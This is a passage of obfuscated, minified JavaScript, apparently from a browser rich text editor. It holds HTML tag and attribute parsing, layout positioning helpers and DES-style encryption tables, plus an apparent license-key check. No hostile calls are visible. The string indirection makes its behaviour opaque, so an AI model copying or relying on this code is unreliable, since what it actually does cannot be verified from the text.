pv(b){return function(c){b._[a[1590]][a[140]](this,arguments);this[a[1652]](a[15],a[1798],a[1799],true);if(qt(this[a[1610]],a[1710])){this[a[1652]](a[15],a[1800],a[1801],true)}else {if(qt(this[a[1610]],a[790])){this[a[1652]](a[15],a[1802],a[1801],true)}else {this[a[1652]](a[15],a[1803],a[1801],true)}}}}function px(){return function(b){var c={};if(qt(this[a[1610]],a[1805])){return b[a[13]](a[1806])};c._= b[a[13]](a[288]);;Fc(c);return c._}}function pz(b){return function(d,c){if(qt(b._[a[1808]][a[60]](c),-1)){return false};return true}}function pA(b){return function(d,c){if(qt(b._[a[1809]][a[60]](c),-1)){return true};return false}}function pB(b,c,d,f){return function(j,h){var k={},g={};k._= j;g._= h;var m=k._[a[1610]];switch(m){case a[1562]:Fd(b,k);break};if(c._){if(!(1&&c._)(k._,m)){k._[a[1762]]= true}};if(qt(m,a[1683])){while(d._){var l=d._[a[1610]];if(qt(l,a[683])|| qt(l,a[682])){break};Fe(d);if(qt(l,a[1683])){break}}};if(qt(m,a[861])|| qt(m,a[1696])){while(d._){var l=d._[a[1610]];if(qt(l,a[858])|| qt(l,a[637])|| qt(l,a[859])|| qt(l,a[1694])|| qt(l,a[1695])){break};Ff(d);if(qt(l,a[861])){break}}};if(qt(m,a[858])){while(d._){var l=d._[a[1610]];if(qt(l,a[637])|| qt(l,a[859])|| qt(l,a[1694])|| qt(l,a[1695])){break};Fg(d);if(qt(l,a[858])){break}}};if(d._){d._[a[1784]](k._)}else {f._[a[39]](k._)};Fh(g,d,k)}}function pC(b){return function(c){if(!c){return a[22]};if(qi(c[a[60]](a[471]),-1)|| qi(c[a[60]](a[470]),-1)){return c};return (1&&b._)(c)}}function pD($rte,node,AppendNode){return function(f){if(qt(f[a[40]],0)){return};var g= new $rte._[a[1740]]();if(node._&& qt(node._[a[1662]](a[492]),a[1600])){g[a[1742]]= true};g[a[1622]](f);(1&&AppendNode._)(g)}}function pE($rte,AppendNode){return function(d){var f= new $rte._[a[1735]]();f[a[1622]](d);(1&&AppendNode._)(f)}}function pF($rte,AppendNode){return function(d){var f= new $rte._[a[1738]]();f[a[1622]](d);(1&&AppendNode._)(f)}}function pG(){return function(c,d){var f=d;for(;qq(f,c[a[40]]);f++){var b=c[a[48]](f);if(qw(b,65)&& qs(b,90)){continue};if(qw(b,97)&& qs(b,122)){continue};if(qw(b,48)&& qs(b,57)){continue};if(qt(b,58)){continue};switch(c[a[61]](f)){case a[468]:;case a[106]:;case a[59]:;case a[466]:continue};break};return c[a[42]](d,f)}}function pH(){return function(a){if(qt(a,32)){return true};if(qt(a,9)){return true};if(qt(a,10)){return true};if(qt(a,13)){return true};if(qt(a,160)){return true};return false}}function pI(ParseNodeName,IsBlankCharCode,config,$rte,ParseAttributeValue,hcfhf,dec_pattern,RGBtoHex){return function(p,w){var r={},u={},m={},v={};var n=[];r._= qn(1,w[a[40]]);;if(qt(p[a[48]](qo(p[a[40]],2)),47)){p= p[a[32]](0,qo(p[a[40]],2))}else {p= p[a[32]](0,qo(p[a[40]],1))};u._= ri(1);;while(qq(r._,p[a[40]])){if(qt(u._,r._)){throw ( new (qN())(qn(a[1811],r._)))};Fi(u,r);m._= (1&&ParseNodeName._)(p,r._);;if(!m._){var o=p[a[48]](r._);if(!(1&&IsBlankCharCode._)(o)){};Fj(r);continue};var s=r._;Fk(r,m);while(qq(r._,p[a[40]])&& (1&&IsBlankCharCode._)(p[a[48]](r._))){r._++};if(qw(r._,p[a[40]])){if(qi(m._[a[61]](0),a[512])|| qi(m._[a[61]](1),a[1537])|| config._[a[1810]]){var l= new $rte._[a[1608]](m._);l[a[1622]](p[a[42]](s));n[a[39]](l)};return n};var o=p[a[61]](r._);if(qi(o,a[478])){if(qi(m._[a[61]](0),a[512])|| qi(m._[a[61]](1),a[1537])|| config._[a[1810]]){var l= new $rte._[a[1608]](m._);l[a[1622]](p[a[42]](s,r._));n[a[39]](l)};continue};Fl(r);while(qq(r._,p[a[40]])&& (1&&IsBlankCharCode._)(p[a[48]](r._))){r._++};if(qw(r._,p[a[40]])){if(qi(m._[a[61]](0),a[512])|| qi(m._[a[61]](1),a[1537])|| config._[a[1810]]){var l= new $rte._[a[1608]](m._);l[a[1622]](p[a[42]](s,r._));n[a[39]](l)};return n};var o=p[a[61]](r._);if(qt(o,a[474])|| qt(o,a[7])){v._= p[a[60]](o,qn(r._,1));;if(qt(v._,-1)){if(qi(m._[a[61]](0),a[512])|| qi(m._[a[61]](1),a[1537])|| config._[a[1810]]){var l= new $rte._[a[1608]](m._);l[a[1621]](o);l[a[1619]]((1&&ParseAttributeValue._)(p[a[42]](qn(r._,1))));l[a[1622]](p[a[42]](s));n[a[39]](l)};return n};if(qi(m._[a[61]](0),a[512])|| qi(m._[a[61]](1),a[1537])|| config._[a[1810]]){var l= new $rte._[a[1608]](m._);l[a[1621]](o);l[a[1619]]((1&&ParseAttributeValue._)(p[a[42]](qn(r._,1),v._)));l[a[1622]](p[a[42]](s,qn(v._,1)));n[a[39]](l)};Fm(r,v);continue};var z=r._;while(qq(r._,p[a[40]])&& !(1&&IsBlankCharCode._)(p[a[48]](r._))){r._++};if(qi(m._[a[61]](0),a[512])|| qi(m._[a[61]](1),a[1537])|| config._[a[1810]]){var l= new $rte._[a[1608]](m._);l[a[1621]](a[22]);l[a[1619]]((1&&ParseAttributeValue._)(p[a[42]](z,r._)));l[a[1622]](p[a[42]](s,r._));n[a[39]](l)}};if(hcfhf._&& n[a[40]]){for(var q=0;qq(q,n[a[40]]);q++){if(qi(l[a[1610]],a[15])){continue};var y=l[a[1611]];if(!y|| qt(y[a[60]](a[1812]),-1)){continue};var t=y;y= y[a[36]](dec_pattern._,pJ(RGBtoHex));if(qi(t,y)){l[a[1619]](t)}}};return n}}function pK(){return function(d,c,b){return qW()[a[262]](qn(qn(16777216,qZ()(d)* 65536)+ qm(qZ()(c),256),qZ()(b)))[a[384]](16)[a[32]](1,6)}}function pL(ParseAttributes,$rte,AppendNode,config,core){return function(j,n){var l=n[a[58]]();var h=(1&&ParseAttributes._)(j,n);switch(l){case a[199]:;case a[1813]:;case a[569]:;case a[1814]:;case a[1815]:;case a[1816]:;case a[345]:;case a[1817]:;case a[1818]:var m= new $rte._[a[1804]](n);for(var k=0;qq(k,h[a[40]]);k++){m[a[1655]](h[k])};(1&&AppendNode._)(m);return m;case a[592]:var m= new $rte._[a[1770]](n);for(var k=0;qq(k,h[a[40]]);k++){m[a[1655]](h[k])};if(qt(j[a[48]](qo(j[a[40]],2)),47)){(1&&AppendNode._)(m,false)}else {(1&&AppendNode._)(m,true)};return m;case a[1819]:;case a[381]:;case a[1712]:;case a[472]:;case a[65]:var m= new $rte._[a[1768]](n);for(var k=0;qq(k,h[a[40]]);k++){m[a[1655]](h[k])};(1&&AppendNode._)(m);return m;case a[66]:;case a[15]:;case a[1562]:var m= new $rte._[a[1768]](n);for(var k=0;qq(k,h[a[40]]);k++){m[a[1655]](h[k])};(1&&AppendNode._)(m,false);return m;default:var m;if(config._[a[1820]]){m= config._[a[1820]](n,h,core._)};if(!m){switch(l){case a[1805]:m= new $rte._[a[1804]](n);break;case a[1587]:;case a[1709]:;case a[790]:;case a[1710]:;case a[185]:m= new $rte._[a[1797]](n);break;case a[637]:;case a[859]:;case a[1694]:;case a[1695]:;case a[858]:;case a[861]:;case a[1696]:m= new $rte._[a[1793]](n);break;case a[848]:m= new $rte._[a[1792]](a[848]);break;default:m= new $rte._[a[1770]](n);break};for(var k=0;qq(k,h[a[40]]);k++){m[a[1655]](h[k])}};if(qt(j[a[48]](qo(j[a[40]],2)),47)){(1&&AppendNode._)(m,false)}else {(1&&AppendNode._)(m,true)};return m}}}function pM(b){return function(c,g){var f={};var d=g[a[58]]();if(qt(b._,null)){return};f._= b._;for(;f._;f._= f._[a[1626]]){if(qt(f._[a[1610]],d)){Fn(b,f);Fo(f);return f._}};Fp();return null}}function pN(f,c,b,d){return function(g){if(tagbegin= qi(g[a[61]](1),a[469])){var h=(1&&f._)(g,1);if(qt(h,a[22])){(1&&c._)(g);return};return {Begin:(1&&b._)(g,h)}}else {var h=(1&&f._)(g,2);if(qt(h,a[22])){(1&&c._)(g);return};return {End:(1&&d._)(g,h)}}}}function pO(b,f,h,g,j,c,d){return function(){var p={},o={},q={},u={},s={},t={},y={},n={},r={};p._= 0;;o._= ri(1);;while(qq(p._,b._[a[40]])){if(qt(o._,p._)){throw ( new (qN())(qn(a[1821],p._)))};Fq(o,p);q._= b._[a[60]](a[470],p._);;if(qt(q._,-1)){(1&&f._)(b._[a[42]](p._)[a[36]](/\s+$/,a[22]));break};(1&&f._)(b._[a[42]](p._,q._));Fr(p,q);if(qt(p._+ 1,b._[a[40]])){break};var l=b._[a[61]](qn(p._,1));if(qt(l,a[465])&& qt(b._[a[32]](qn(p._,1),4),a[1822])){q._= b._[a[60]](a[471],p._);if(qt(q._,-1)){(1&&h._)(qn(b._[a[42]](p._),a[471]));break};(1&&h._)(b._[a[42]](p._,qn(q._,1)));Fs(p,q);continue};if(qt(l,a[1017])){q._= b._[a[60]](qn(l,a[471]),p._);if(qt(q._,-1)){(1&&h._)(qn(b._[a[42]](p._)+ l,a[471]));break};(1&&h._)(b._[a[42]](p._,qn(q._,2)));Ft(p,q);continue};if(qt(l,a[466])){if(qt(b._[a[32]](p._,4),a[1823])){q._= b._[a[60]](a[1824],p._);if(qt(q._,-1)){(1&&g._)(qn(b._[a[42]](p._),a[1824]));break};(1&&g._)(b._[a[42]](p._,qn(q._,3)));Fu(p,q)}else {q._= b._[a[60]](a[471],p._);if(qt(q._,-1)){(1&&h._)(qn(b._[a[42]](p._),a[471]));break};(1&&h._)(b._[a[42]](p._,qn(q._,1)));Fv(p,q)};continue};if(qi(l,a[469])){var m=l[a[48]](0);if(qq(m,65)|| qv(m,122)|| (qv(m,90)&& qq(m,97))){(1&&f._)(b._[a[42]](p._,qn(p._,1)));Fw(p);continue}};u._= p._;;for(q._= b._[a[60]](a[471],p._);qv(q._,-1);q._= b._[a[60]](a[471],u._)){s._= b._[a[60]](a[474],u._);;t._= b._[a[60]](a[7],u._);;Fx(t,s);if(qv(s._,-1)&& qq(s._,q._)){s._= b._[a[60]](b._[a[61]](s._),qn(s._,1));if(qv(s._,-1)){Fy(u,s);continue}};break};if(qt(q._,-1)){(1&&f._)(b._[a[42]](p._));break};var w=b._[a[42]](p._,qn(q._,1));y._= (1&&j._)(w);;Fz(p,q);if(!y._){continue};n._= null;;FA(y,n);if(qt(n._,a[1562])|| qt(n._,a[15])|| qt(n._,a[66])){q._= c._[a[60]](qn(a[1765],n._),p._);if(qt(q._,-1)){if(y._[a[1825]]){y._[a[1825]][a[1757]](b._[a[42]](p._))};break};if(y._[a[1825]]){y._[a[1825]][a[1757]](b._[a[42]](p._,q._))};p._= qn(c._[a[60]](a[471],q._),1);continue};var v=y._[a[1825]]|| y._[a[1826]];if(v&& (1&&d._)(v)){r._= b._[a[60]](a[470],p._);;if(qi(r._,-1)){var k=b._[a[42]](p._,r._);if(k[a[1827]](/^\s+$/g)){if(y._[a[1825]]&& qt(v[a[1662]](a[492]),a[1600])){}else {FB(p,r);v[a[1756]](k,y._[a[1825]])}}}}}}}function pP(){return function(b){if(b[a[1794]]){return true};if(b[a[1676]]()){return true};return false}}function FD(a){a._= true}function pV(c,f,b,d){return function(g){var h=c._[a[124]]();if(qq(f._[a[125]],100)|| qq(f._[a[25]],100)){return true};if(qq(h[a[25]],18)|| qq(h[a[125]],80)|| qq(h[a[80]],f._[a[80]])|| qq(h[a[78]],f._[a[78]])|| qv(h[a[284]],f._[a[284]])|| qv(h[a[237]],f._[a[237]])){(1&&b._)(f._,h);return false};var j=rh()[a[331]](g);if(qt(j[a[18]],a[19])){return false};if(qi(j[a[1837]],a[1838])&& qi(j[a[1837]],d._[a[1837]])){return false};if(qi(j[a[76]],a[77])&& qi(j[a[76]],d._[a[76]])){return false};return true}}function pZ(b){return function(r,z,p,q,n,B){var j={},A={},G={},H={},I={},J={},K={},L={},M={},N={},s={},y={},l={},o={},O={},E={},F={},t={},D={},w={},c={},d={},f={},g={},k={},v={},h={},m={},C={},Q={};j._= p;A._= q;G._= new (qE())(0x1010400,0,0x10000,0x1010404,0x1010004,0x10404,0x4,0x10000,0x400,0x1010400,0x1010404,0x400,0x1000404,0x1010004,0x1000000,0x4,0x404,0x1000400,0x1000400,0x10400,0x10400,0x1010000,0x1010000,0x1000404,0x10004,0x1000004,0x1000004,0x10004,0,0x404,0x10404,0x1000000,0x10000,0x1010404,0x4,0x1010000,0x1010400,0x1000000,0x1000000,0x400,0x1010004,0x10000,0x10400,0x1000004,0x400,0x4,0x1000404,0x10404,0x1010404,0x10004,0x1010000,0x1000404,0x1000004,0x404,0x10404,0x1010400,0x404,0x1000400,0x1000400,0,0x10004,0x10400,0,0x1010004);;H._= new (qE())(ri(0x7fef7fe0),ri(0x7fff8000),0x8000,0x108020,0x100000,0x20,ri(0x7fefffe0),ri(0x7fff7fe0),ri(0x7fffffe0),ri(0x7fef7fe0),ri(0x7fef8000),ri(0x80000000),ri(0x7fff8000),0x100000,0x20,ri(0x7fefffe0),0x108000,0x100020,ri(0x7fff7fe0),0,ri(0x80000000),0x8000,0x108020,ri(0x7ff00000),0x100020,ri(0x7fffffe0),0,0x108000,0x8020,ri(0x7fef8000),ri(0x7ff00000),0x8020,0,0x108020,ri(0x7fefffe0),0x100000,ri(0x7fff7fe0),ri(0x7ff00000),ri(0x7fef8000),0x8000,ri(0x7ff00000),ri(0x7fff8000),0x20,ri(0x7fef7fe0),0x108020,0x20,0x8000,ri(0x80000000),0x8020,ri(0x7fef8000),0x100000,ri(0x7fffffe0),0x100020,ri(0x7fff7fe0),ri(0x7fffffe0),0x100020,0x108000,0,ri(0x7fff8000),0x8020,ri(0x80000000),ri(0x7fefffe0),ri(0x7fef7fe0),0x108000);;I._= new (qE())(0x208,0x8020200,0,0x8020008,0x8000200,0,0x20208,0x8000200,0x20008,0x8000008,0x8000008,0x20000,0x8020208,0x20008,0x8020000,0x208,0x8000000,0x8,0x8020200,0x200,0x20200,0x8020000,0x8020008,0x20208,0x8000208,0x20200,0x20000,0x8000208,0x8,0x8020208,0x200,0x8000000,0x8020200,0x8000000,0x20008,0x208,0x20000,0x8020200,0x8000200,0,0x200,0x20008,0x8020208,0x8000200,0x8000008,0x200,0,0x8020008,0x8000208,0x20000,0x8000000,0x8020208,0x8,0x20208,0x20200,0x8000008,0x8020000,0x8000208,0x208,0x8020000,0x20208,0x8,0x8020008,0x20200);;J._= new (qE())(0x802001,0x2081,0x2081,0x80,0x802080,0x800081,0x800001,0x2001,0,0x802000,0x802000,0x802081,0x81,0,0x800080,0x800001,0x1,0x2000,0x800000,0x802001,0x80,0x800000,0x2001,0x2080,0x800081,0x1,0x2080,0x800080,0x2000,0x802080,0x802081,0x81,0x800080,0x800001,0x802000,0x802081,0x81,0,0,0x802000,0x2080,0x800080,0x800081,0x1,0x802001,0x2081,0x2081,0x80,0x802081,0x81,0x1,0x2000,0x800001,0x2001,0x802080,0x800081,0x2001,0x2080,0x800000,0x802001,0x80,0x800000,0x2000,0x802080);;K._= new (qE())(0x100,0x2080100,0x2080000,0x42000100,0x80000,0x100,0x40000000,0x2080000,0x40080100,0x80000,0x2000100,0x40080100,0x42000100,0x42080000,0x80100,0x40000000,0x2000000,0x40080000,0x40080000,0,0x40000100,0x42080100,0x42080100,0x2000100,0x42080000,0x40000100,0,0x42000000,0x2080100,0x2000000,0x42000000,0x80100,0x80000,0x42000100,0x100,0x2000000,0x40000000,0x2080000,0x42000100,0x40080100,0x2000100,0x40000000,0x42080000,0x2080100,0x40080100,0x100,0x2000000,0x42080000,0x42080100,0x80100,0x42000000,0x42080100,0x2080000,0,0x40080000,0x42000000,0x80100,0x2000100,0x40000100,0x80000,0,0x40080000,0x2080100,0x40000100);;L._= new (qE())(0x20000010,0x20400000,0x4000,0x20404010,0x20400000,0x10,0x20404010,0x400000,0x20004000,0x404010,0x400000,0x20000010,0x400010,0x20004000,0x20000000,0x4010,0,0x400010,0x20004010,0x4000,0x404000,0x20004010,0x10,0x20400010,0x20400010,0,0x404010,0x20404000,0x4010,0x404000,0x20404000,0x20000000,0x20004000,0x10,0x20400010,0x404000,0x20404010,0x400000,0x4010,0x20000010,0x400000,0x20004000,0x20000000,0x4010,0x20000010,0x20404010,0x404000,0x20400000,0x404010,0x20404000,0,0x20400010,0x10,0x4000,0x20400000,0x404010,0x4000,0x400010,0x20004010,0,0x20404000,0x20000000,0x400010,0x20004010);;M._= new (qE())(0x200000,0x4200002,0x4000802,0,0x800,0x4000802,0x200802,0x4200800,0x4200802,0x200000,0,0x4000002,0x2,0x4000000,0x4200002,0x802,0x4000800,0x200802,0x200002,0x4000800,0x4000002,0x4200000,0x4200800,0x200002,0x4200000,0x800,0x802,0x4200802,0x200800,0x2,0x4000000,0x200800,0x4000000,0x200800,0x200000,0x4000802,0x4000802,0x4200002,0x4200002,0x2,0x200002,0x4000000,0x4000800,0x200000,0x4200800,0x802,0x200802,0x4200800,0x802,0x4000002,0x4200802,0x4200000,0x200800,0,0x2,0x4200802,0,0x200802,0x4200000,0x800,0x4000002,0x4000800,0x800,0x200002);;N._= new (qE())(0x10001040,0x1000,0x40000,0x10041040,0x10000000,0x10001040,0x40,0x10000000,0x40040,0x10040000,0x10041040,0x41000,0x10041000,0x41040,0x1000,0x40,0x10040000,0x10000040,0x10001000,0x1040,0x41000,0x40040,0x10040040,0x10041000,0x1040,0,0,0x10040040,0x10000040,0x10001000,0x41040,0x40000,0x41040,0x40000,0x10041000,0x1000,0x40,0x10040040,0x1000,0x41040,0x10001000,0x40,0x10000040,0x10040000,0x10040040,0x10000000,0x40000,0x10001040,0,0x10041040,0x40040,0x10000040,0x10040000,0x10001000,0x10001040,0,0x10041040,0x41000,0x41000,0x1040,0x1040,0x40040,0x10000000,0x10041000);;s._= (1&&b._)(r);;y._= 0;;;;;var P;;;;;;;;var u=z[a[40]];h._= 0;;m._= qt(s._[a[40]],32)?3:9;;if(qt(m._,3)){w._= j._? new (qE())(0,32,2): new (qE())(30,ri(2),ri(2))}else {w._= j._? new (qE())(0,32,2,62,30,ri(2),64,96,2): new (qE())(94,62,ri(2),32,64,2,30,ri(2),ri(2))};C._= a[22];;Q._= a[22];;if(qt(A._,1)){c._= qh(qh((qr(n[a[48]](y._++),24)),(qr(n[a[48]](y._++),16)))| (qr(n[a[48]](y._++),8)),n[a[48]](y._++));f._= qh(qh((qr(n[a[48]](y._++),24)),(qr(n[a[48]](y._++),16)))| (qr(n[a[48]](y._++),8)),n[a[48]](y._++));FE(y)};while(qq(y._,u)){t._= qh(qh((qr(z[a[48]](y._++),24)),(qr(z[a[48]](y._++),16)))| (qr(z[a[48]](y._++),8)),z[a[48]](y._++));D._= qh(qh((qr(z[a[48]](y._++),24)),(qr(z[a[48]](y._++),16)))| (qr(z[a[48]](y._++),8)),z[a[48]](y._++));FF(A,j,t,c,D,f,d,g);FG(O,t,D);FH(D,O);FI(t,O);FJ(O,t,D);FK(D,O);FL(t,O);FM(O,D,t);FN(t,O);FO(D,O);FP(O,D,t);FQ(t,O);FR(D,O);FS(O,t,D);FT(D,O);FU(t,O);FV(t);FW(D);FX(o,m,k,w,v,l,E,D,s,F,O,t,H,J,L,N,G,I,K,M);FY(t);FZ(D);Ga(O,t,D);Gb(D,O);Gc(t,O);Gd(O,D,t);Ge(t,O);Gf(D,O);Gg(O,D,t);Gh(t,O);Gi(D,O);Gj(O,t,D);Gk(D,O);Gl(t,O);Gm(O,t,D);Gn(D,O);Go(t,O);Gp(A,j,c,t,f,D,d,g);Q._+= rd()[a[714]]((qx(t._,24)),(ql((qx(t._,16)),0xff)),(ql((qx(t._,8)),0xff)),(ql(t._,0xff)),(qx(D._,24)),(ql((qx(D._,16)),0xff)),(ql((qx(D._,8)),0xff)),(ql(D._,0xff)));Gq(h);Gr(h,C,Q)};return qn(C._,Q._)}}function qa(b){return function(f){var m={},n={},s={},t={},u={},v={},w={},y={},z={},A={},o={},p={},q={},r={},g={},D={},j={},C={},l={},E={},h={},B={};m._= new (qE())(0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004,0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204);;n._= new (qE())(0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001,0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101);;s._= new (qE())(0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808,0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808);;t._= new (qE())(0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000,0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000);;u._= new (qE())(0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010,0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010);;v._= new (qE())(0,0x400,0x20,0x420,0,0x400,0x20,0x420,0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420);;w._= new (qE())(0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002,0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002);;y._= new (qE())(0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800,0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800);;z._= new (qE())(0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002,0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002);;A._= new (qE())(0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008,0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408);;o._= new (qE())(0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020,0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020);;p._= new (qE())(0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200,0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200);;q._= new (qE())(0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000,0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010);;r._= new (qE())(0,0x4,0x100,0x104,0,0x4,0x100,0x104,0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105);;var c=qv(f[a[40]],8)?3:1;g._= new (qE())(qm(32,c));;D._= new (qE())(0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0);;;;var k=0;l._= 0;;;;for(var d=0;qq(d,c);d++){h._= qh(qh((qr(f[a[48]](k++),24)),(qr(f[a[48]](k++),16)))| (qr(f[a[48]](k++),8)),f[a[48]](k++));B._= qh(qh((qr(f[a[48]](k++),24)),(qr(f[a[48]](k++),16)))| (qr(f[a[48]](k++),8)),f[a[48]](k++));Gs(E,h,B);Gt(B,E);Gu(h,E);Gv(E,B,h);Gw(h,E);Gx(B,E);Gy(E,h,B);Gz(B,E);GA(h,E);GB(E,B,h);GC(h,E);GD(B,E);GE(E,h,B);GF(B,E);GG(h,E);GH(E,B,h);GI(h,E);GJ(B,E);GK(E,h,B);GL(B,E);GM(h,E);GN(E,h,B);GO(h,B);GP(B,E);GQ(b,D,h,B,j,m,n,s,t,u,v,w,C,y,z,A,o,p,q,r,E,l,g)};return g._}}function GR(b,c){b._[a[1155]][a[1856]]= c._}function GS(a,b){if(qt(a._,20200202)|| qt(a._,80800808)){b._= true}}function GT(b){b._= a[1863]}function GU(b,c){b._= qn(a[1864],c._)}function GV(b){b._= a[1865]}function GW(b){b._= a[1866]}function GX(b){b._= a[1867]}function GY(b){b._= a[1868]}function GZ(b){b._= a[1869]}function Ha(b){b._= a[1870]}function Hb(b){b._= a[1871]}function Hc(b){b._= a[1872]}function qg(a){return function(){(1&&a._)()}}function rE(b){b._[a[15]][a[76]]= a[77]}function rF(b,c){b._[a[15]][a[78]]= qn(c._- qp(b._[a[79]],2),a[27])}function rG(b,c){b._[a[15]][a[80]]= qn(qo(c._,b._[a[26]])- 20,a[27])}function V(b){return function(){if(b._[a[63]][a[73]][a[123]](b._)){var c=b._[a[124]]();if(c[a[125]]&& c[a[25]]){b._[a[97]]();b._[a[126]]()}}}}function sf(b,c,d,f){if(qt(b._,a[180])){c._[a[15]][a[125]]= qn(d._+ f._,a[27])}}function sg(b,c,d){b._[a[15]][a[25]]= b._[a[15]][a[184]]= qn(c._+ d._,a[27])}function bw(f,g,c,h,d,b){return function(n,o,j){var l={},k={};l._= qW()[a[111]](32,qn(f._,n* g._));;k._= qW()[a[111]](32,qn(c._,o* h._));;var m;if(qt(h._,0)){m= qp(l._,f._)}else {if(qt(g._,0)){m= qp(k._,c._)}else {m= qW()[a[111]](qW()[a[261]](qp(qm(l._,k._)/ f._,c._)))}};switch(d._[a[9]]){case a[263]:if(qt(h._,0)){d._[a[15]][a[125]]= qn(qW()[a[262]](qm(f._,m)),a[27]);sK(d)}else {sL(d);d._[a[15]][a[25]]= qn(qW()[a[262]](qm(c._,m)),a[27])};break;case a[103]:sM(d,l);sN(d,k);break;default:d._[a[15]][a[125]]= qn(qW()[a[262]](qm(f._,m)),a[27]);d._[a[15]][a[25]]= qn(qW()[a[262]](qm(c._,m)),a[27]);break};b._[a[264]]()}}function sO(d,b,c){d._[a[15]][a[80]]= qn(b._[a[80]]- c._[a[80]],a[27])}function sP(d,b,c){d._[a[15]][a[78]]= qn(b._[a[78]]- c._[a[78]],a[27])}function sQ(d,b,c,f){d._[a[15]][a[80]]= qn(qo(b._[a[80]],c._[a[80]])+ f._[a[266]],a[27])}function sR(d,b,c,f){d._[a[15]][a[78]]= qn(qo(b._[a[78]],c._[a[78]])+ f._[a[267]],a[27])}function sS(f,d,b,c){f._[a[15]][a[125]]= d._[a[15]][a[125]]= qn(b._[a[125]]+ qm(c._,2),a[27])}function sT(d,f,b,c){d._[a[15]][a[25]]= f._[a[15]][a[25]]= qn(b._[a[25]]+ qm(c._,2),a[27])}function sU(b){b._[a[15]][a[78]]= a[269]}function sV(d,c,b){d._[a[15]][a[78]]= c._[a[15]][a[78]]= qn(-b._,a[27])}function sW(b){b._[a[15]][a[80]]= a[269]}function sX(c,d,b){c._[a[15]][a[80]]= d._[a[15]][a[80]]= qn(-b._,a[27])}function sY(c,b){c._[a[15]][a[78]]= qn(b._[a[125]],a[27])}function sZ(c,b){c._[a[15]][a[80]]= qn(b._[a[25]],a[27])}function ta(c,b){c._[a[15]][a[78]]= qn(qp(b._[a[125]],2)- qp(c._[a[79]],2),a[27])}function tb(b,c){b._[a[15]][a[80]]= qn(-c._,a[27])}function tc(c,b){c._[a[15]][a[78]]= qn(qp(b._[a[125]],2)- qp(c._[a[79]],2),a[27])}function td(c,b,d){c._[a[15]][a[80]]= qn(qn(b._[a[25]],d._)- c._[a[26]],a[27])}function te(b,c){b._[a[15]][a[78]]= qn(-c._,a[27])}function tf(c,b){c._[a[15]][a[80]]= qn(qp(b._[a[25]],2)- qp(c._[a[26]],2),a[27])}function tg(c,b,f,d){c._[a[15]][a[78]]= qn(qn(b._[a[125]],f._)- d._[a[79]],a[27])}function th(c,b){c._[a[15]][a[80]]= qn(qp(b._[a[25]],2)- qp(c._[a[26]],2),a[27])}function ti(b,c){b._[a[15]][a[78]]= qn(-c._,a[27])}function tj(b,c){b._[a[15]][a[80]]= qn(-c._,a[27])}function tk(b,c){b._[a[15]][a[80]]= qn(-c._,a[27])}function tl(c,b,d){c._[a[15]][a[78]]= qn(qn(b._[a[125]],d._)- c._[a[79]],a[27])}function tm(b,c){b._[a[15]][a[78]]= qn(-c._,a[27])}function tn(c,b,d){c._[a[15]][a[80]]= qn(qn(b._[a[25]],d._)- c._[a[26]],a[27])}function to(c,b,d){c._[a[15]][a[78]]= qn(qn(b._[a[125]],d._)- c._[a[79]],a[27])}function tp(c,b,d){c._[a[15]][a[80]]= qn(qn(b._[a[25]],d._)- c._[a[26]],a[27])}function tr(c,b,a){if(!c._){c._= [b._,a._]}}function ts(b){b._= {left:b._[a[78]],top:b._[a[80]],right:b._[a[284]],bottom:b._[a[237]]}}function tt(c,b){if(qq(c._[a[80]],b._[a[80]])){b._[a[80]]= c._[a[80]]}}function tu(c,b){if(qq(c._[a[78]],b._[a[78]])){b._[a[78]]= c._[a[78]]}}function tv(c,b){if(qv(c._[a[284]],b._[a[284]])){b._[a[284]]= c._[a[284]]}}function tw(c,b){if(qv(c._[a[237]],b._[a[237]])){b._[a[237]]= c._[a[237]]}}function tx(b){b._[a[125]]= qo(b._[a[284]],b._[a[78]])}function ty(b){b._[a[25]]= qo(b._[a[237]],b._[a[80]])}function tz(d,b,c){if(qv(qo(d._,b._[a[78]])+ c._[a[79]],b._[a[125]])){d._-= qo((qn(d._- b._[a[78]],c._[a[79]])),b._[a[125]])}}function ub(a){a._= null}function uc(a){a._= null}function cr(){return function(){}}function cs(){return function(){}}function uv(b,c){b._[a[357]]= c._}function uB(b){b._[a[109]]+= 100}function uM(d,b,c){if(qv(d._,b._[a[237]])){}else {if(qv(c._,b._[a[284]])){}}}function cZ(c,b){return function(f){var d={};d._= f;b._[a[431]](c._)[a[429]](da(d))}}function de(b){return function(c){(1&&b._)(a[439],c)}}function df(b){return function(c){(1&&b._)(a[441],c)}}function dm(b,d,c,g,f){return function(){var h={},j={},k={},m={};var l={};l= dn(k,d,m,c,g,f,j,h);m._= l;h._= b._[a[445]]|| rh()[a[446]];;if(!d._[a[40]]|| 